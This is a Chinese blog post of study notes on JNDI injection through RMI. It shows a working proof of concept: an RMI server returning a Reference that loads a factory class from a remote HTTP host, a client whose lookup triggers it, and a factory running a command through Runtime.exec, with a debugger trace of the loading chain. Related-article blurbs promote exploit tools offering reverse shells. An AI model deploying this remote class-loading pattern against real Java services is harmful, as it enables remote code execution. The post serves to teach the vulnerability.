JNDI注入学习笔记

【JNDI注入利用工具】JNDIExploit v1.1 一款用于JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,集成了JDNI注入格式,能够更加方便的开启服务端后直接利用,支持反弹Shell命令执行、直接植入内存shell等,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。 阅读详情

前言

前面我们知道了RMI的一些机制,今天我们来学一学JNDI注入

什么是JNDI

jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图
在这里插入图片描述
我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。

在这里插入图片描述
在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象

References和ReferenceWrapper

Reference类表示对存在于命名/目录系统以外的对象的引用,因此通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

javax.naming.Reference构造方法为:

Reference(String className, String factory, String factoryLocation),

className - 远程加载时所使用的类名
classFactory - 加载的class中需要实例化类的名称
classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

RMI-JNDI注入

package JNDI_Inesrct;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://42.193.22.50:1234/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    }
}
package JNDI_Inesrct;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
        return null;
    }
}

这里的Calc.java要把它编译成class文件,然后放到自己的云服务器上。该恶意代码一共会弹4次计算器。

下面开始分析下它的流程,先看看整体调用栈
在这里插入图片描述
那我们开始分析下,前面几个lookup就不看了,是获取上下文信息的,主要讲后面的关键几步,我们从decodeObject开始看
在这里插入图片描述
这里是将从服务端返回的ReferenceWrapper_Stub存根传入该函数
在这里插入图片描述
这里利用ReferenceWrapper_Stub执行getReference()获得了一个Reference对象

接着我们跟入getObjectInstance(),此处为获取Factory类的实例。
在这里插入图片描述
319行这里调用了getObjectFactoryFromReference(),我们跟进getObjectFactoryFromReference()
在这里插入图片描述
146行处clas = helper.loadClass(factoryName);尝试从本地加载Factory类,如果本地不存在此类,158行处则会从codebase中加载:clas = helper.loadClass(factoryName, codebase),从远程加载我们恶意class

我们跟进158行的loadclass看看
在这里插入图片描述
可以看到他是通过URLClassLoader从远程动态加载我们的恶意类。
继续跟入loadclass()
在这里插入图片描述
这里调用了forname,就会加载这个类,从而执行到static方法可以进行第一次命令执行。

继续调式回到getObjectFactoryFromReference()
在这里插入图片描述
在return那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;对我们的恶意类进行一个实例化,这里执行完就会调用代码块和无参构造方法,弹出两个计算器

在这里插入图片描述
继续执行会调用getObjectInstance方法,这里还会弹出一个计算器
在这里插入图片描述

总结

上面的例子有两处源代码可被我们直接利用,我们主要是通过上面的调试,体会一下利用JNDI注入通过Reference加载远程的Factory类的流程,更方面于我们理解上面提到的知识点。而LDAP相关的攻击和RMI差不多,感兴趣的可以看看下面的参考文章有提到

调用链

lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname
lookup->decodeObject->getObjectFactoryFromReference->getObjectFactoryFromReference->loadclass->URLClassLoader.newInstance->loadclass->forname->newInstance()

参考文章
https://blog.youkuaiyun.com/u011479200/article/details/108246846
https://www.cnblogs.com/yyhuni/p/15083613.html
https://xz.aliyun.com/t/8214

【Java代码审计】JNDI注入篇 JNDI (Java Naming and Directory Interface )是 Java 提供的 Java 命名和目录接口。通过调用 JNDI 的 API 可以定位资源和其他程序对象。JNDI 是 Java EE 的重要部分,JNDI 可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA为了在命名服务或目录服务中绑定 Java 对象,可以使用 Java 序列化来传输对象,但有时候不太合适,比如 Java 对象较大的情况。 阅读详情

相关推荐

深入解析JNDI注入攻击与防御实战工具包

本文还有配套的精品资源,点击获取 简介:Java Naming and Directory Interface (JNDI) 允许Java程序通过统一的方式访问网络资源,但存在JNDI注入安全风险。JNDI注入攻击利用恶意JNDI引用远程执行代码,通过用户输入未验证时造成安全漏洞。本工具包“JNDI-Injection-Exploit-1.0-SNAPSHOT-all.ja...

weixin_36074800的博客 1687

java反序列化rce rmi jrmp jndi 原理

RMI攻击主要分3种目标:RMI Client、RMI Server、RMI Registry。使用远程Reference字节码进行攻击。从jdk8u121开始,RMI加入了反序列化白名单机制,JRMP的payload登上舞台,这里的payload指的是ysoserial修改后的JRMPClient。从jdk8u121开始,RMI远程Reference代码默认不信任,RMI远程Reference代码攻击方式开始失效。

whatday的专栏 1225

PAM4信号测试实战:从眼图分析到误码率测量的技术演进

在高速数字系统设计中,信号完整性测试是确保数据传输可靠性的核心环节。其基本原理在于通过时域和频域分析,精确评估信号在传输过程中的质量衰减与失真。随着数据速率向56Gbps及以上演进,传统的NRZ编码面临带宽瓶颈,而PAM4调制技术通过在每个符号周期内承载更多比特信息,成为提升信道效率的关键路径。这项技术的工程价值在于,它允许在相同带宽下实现翻倍的数据吞吐量,这对于数据中心互联、PCIe 6.0及800G以太网等高速接口至关重要。然而,PAM4信号电平间距更小,对噪声和抖动极为敏感,导致其原始误码率显著升高,

weixin_42522817的博客 657

Javaweb安全——JNDI注入

测试环境为JDK8u111以及8u211JavaNamingandDirectoryInterface(JNDI)是一个和JDBC、LDAP、RMI、DNS。名称与对象相关联的方法,例如地址、标识符或计算机程序通常使用的对象。目录服务是命名服务的扩展,除了提供名称和对象的关联,。在一个实际的名称服务中,有些对象可能无法直接存储在系统内,而是以引用的形式进行存储。引用包含了如何访问实际对象的信息。对象工厂是对象的生产者。它接受有关如何创建对象的一些信息,例如引用,然后返回该对象的实例。的错误。...

weixin_43610673的博客 1634

用OpenIPC复活你的旧摄像头:手把手教你给君正T31芯片设备刷开源固件

本文详细介绍了如何使用OpenIPC项目为君正T31芯片的旧摄像头刷入开源固件,解锁更多功能并延长设备寿命。从硬件识别、风险控制到详细刷机步骤和后期配置,手把手教你将闲置摄像头改造为智能监控设备,实现隐私可控、功能扩展等优势。

weixin_30790841的博客 770

全网最详细单细胞保姆级分析教程(一) ---pbmc

通过观察热图,可以了解不同细胞在主成分上的分布情况,以及主成分与细胞特征之间的关系。数据归一化是数据分析中的常见步骤,旨在消除数据集中不同特征之间的量纲差异,并使它们在相同的尺度上进行比较。函数会根据指定的主成分维度计算数据点之间的距离,并找到每个数据点的邻居。函数会根据数据点之间的相似性将其分组到不同的聚类中。数据缩放是数据分析中的常见步骤,旨在将数据的特征值调整到相似的范围,以避免某些特征对分析结果的过度影响。通过可视化维度载荷,可以了解哪些特征对主成分的形成起到了重要作用,以及不同特征之间的相关性。

ZxVSaccount的博客 6708

[Java安全]—JNDI注入

文章首发于Secin:浅析JNDI注入其实应该先学JNDI再学fastjson的,但是JNDI投稿去了,所以就先发了fastjsonTrail: Java Naming and Directory Interface (The Java™ Tutorials) (oracle.com)The JNDI Tutorial (oracle.com)JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用

Sentiment的博客 2893

论文阅读--射频电源在半导体领域的应用

射频电源(RF Power Supply)是能够输出300kHz~300GHz正弦波电压的高频交流电源,在半导体制造领域,射频电源的典型工作频率范围为400kHz∼60 MHz,主要由射频发生器(功率源)、匹配器及配套控制电路组件构成,其关键组件包括变压器与电抗器、晶闸管、绝缘栅双极型晶体管(IGBT)、钣金件、铜材及各种电子元器件。射频电源是刻蚀和薄膜沉积工艺的核心,主要用于产生等离子体,以增强气体反应活性,其性能直接影响反应腔体内等离子体的浓度、均匀性和稳定性。

伊丽莎白的学习之路 2341

Java安全学习笔记--一次对JNDI注入失败的问题排查(手写POC以及rmi)

前言 Exception in thread "main" java.lang.UnsupportedClassVersionError: Exp : Unsupported major.minor version 52.0

m0_64685672的博客 4074

Linux环境下OpenSSH升级到 OpenSSH_9.8p1(内置保姆级教程并包含openssl升级过程)

2024年7月1日接到安全部门同事邮件通知,目前生产环境及测试环境服务器Openssh存在远程代码执行漏洞(CVE-2024-6387),漏洞等级高,且攻击者可以成功利用该漏洞获得远程root shell最高权限从而执行任意代码及命令,主要受影响版本为8.5p1

菜鸟运维升级之路 2万+

NIDS——suricata(一)

NIDS——suricata环境安装和规则编写

weixin_58666006的博客 1273

小迪安全v2023学习笔记(六十七讲)—— Java安全&JNDI注入&五大不安全组件&RCE&不出网

本文摘要了小迪安全第67天课程内容,重点分析了Java安全中的五大类RCE执行函数(Runtime、ProcessBuilder、ProcessImpl、Groovy、LoadJsExec)及其利用方式,并详细讲解了JNDI注入在RMI和LDAP服务中的应用原理及版本限制问题。同时介绍了不安全组件(如Log4j)的黑盒/白盒测试思路,强调通过参数可控性审计漏洞。课程提供了相关源码资源和实战靶场演示,帮助学员掌握Java安全攻防技术。

uli0n的博客 1677

【MATLAB-app】csdn上第一套关于matlab appdesigner界面设计 系列“视频课”来啦~~

写作时间: 2020-12-10 标题: 01_为什么推荐你学习appdesigner? 目录: 1.什么是appdesigner? 2.appdesigner能干什么,有什么好处? 3.怎么学习?保证你一周内能够学会! 4.我的课程总目录 5.重磅来袭(如何获取学习资料代码+文档+视频) 正文: 1.什么是appdesigner? 2.appdesigner能干什么,有什么好处? 3.怎么学习?保证你一周内能够学会! 4.我的课程总目录 5.重磅来袭(如何获取学习资料代码+文档+视频) THE END

wind 2万+

JNDI注入是什么呀?

0x01 前言 我们在上一章《攻击rmi的方式》中提到了rmi的一大特性——动态类加载。而jndi注入就是利用的动态类加载完成攻击的。在谈jndi注入之前,我们先来看看关于jndi的基础知识 0x02 jndi是个啥 jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统

YvesHe的专栏 3万+

第 1 章 Prometheus 监控 | Prometheus 入门

了解 Prometheus 监控系统,学会安装及了解页面功能。

甘蓝的专栏 486

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

Fastjson反序列化漏洞——JNDI注入

JNDI注入。

2301_79096184的博客 2675

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

JNDI注入

JNDI是java命名与目录接口(java Naming and Directory Interface),类似于一个字典,将一些服务与逻辑名称绑定。当使用JNDI,应用程序可以通过逻辑名称而不是物理位置来查找和访问各种资源,这有助于提高应用程序的可移植性和灵活性。JNDI 体系结构由 API 和服务提供者接口 (SPI) 组成。Java 应用程序使用 JNDI API 来访问各种命名和目录服务。SPI 允许透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问其服务。

m0_73973498的博客 1910

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

java安全(2)-JNDI注入

了解jndi时,我们要思考明白:1) 什么是jndi 2)jndi代码示例 3)jndi 注入方式 4)高版本绕过JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,它允许 Java 应用程序通过名称发现和检索数据和资源,而不需要直接引用它们的位置。

ngztx的博客 2747

JNDI注入详解

JNDI注入详解

m0_60571990的博客 5206

JNDI注入(RMI攻击实现和LDAP攻击实现)

0x01 JNDI 概述 JNDI是Java Naming and Directory Interface(JAVA命名和目录接口)的英文简写,它是为JAVA应用程序提供命名和目录访问服务的API(Application Programing Interface,应用程序编程接口) 简单一点理解就是:JNDI的做法,就是定义一个数据源,与系统外部的资源的引用 都可以通过JNDI定义和引用 JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Dir

weixin_45682070的博客 1万+

JavaSec 基础之 JNDI 注入

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。通俗一点讲:JNDI对访问rmi或者ldap服务的代码进行了封装,我们使用JNDI就可以访问这些服务,不需要自己再去关注访问服务的细节。

akdelt的博客 1027

【java安全】JNDI注入概述

是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

leekos的博客,分享web安全相关知识~ 1865

JNDI 注入漏洞的前世今生

前两天的 log4j 漏洞引起了安全圈的震动,虽然是二进制选手,但为了融入大家的过年氛围,还是决定打破舒适圈来研究一下 JNDI 注入漏洞。 JNDI 101 首先第一个问题,什么是 JNDI,它的作用是什么? 根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。虽然有点抽象,但我们至少知道它是一个接口;下一个问题是,Naming 和 Directory 是什么意思?很多相关资料都对其语焉不详,但其实官方对其有详细解释。 N

有价值炮灰 3913

Java 安全-JNDI注入学习

背景知识 JNDI Service Provider JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service Provider 有 RMI/LDAP 等等。 ObjectFactory 每一个 Service Provider 可能配有多个 Object Factory。Object Factory 用于将 Naming Service(如 RMI/L

Townmacro的博客 1876

JNDI注入和攻击方式

JNDI注入和攻击方式

没有网络安全就没有国家安全 1196
上一篇: Javassist-字节码 学习笔记
下一篇: log4j2漏洞分析
lmonstergg
博客等级 码龄7年 33粉丝 69原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值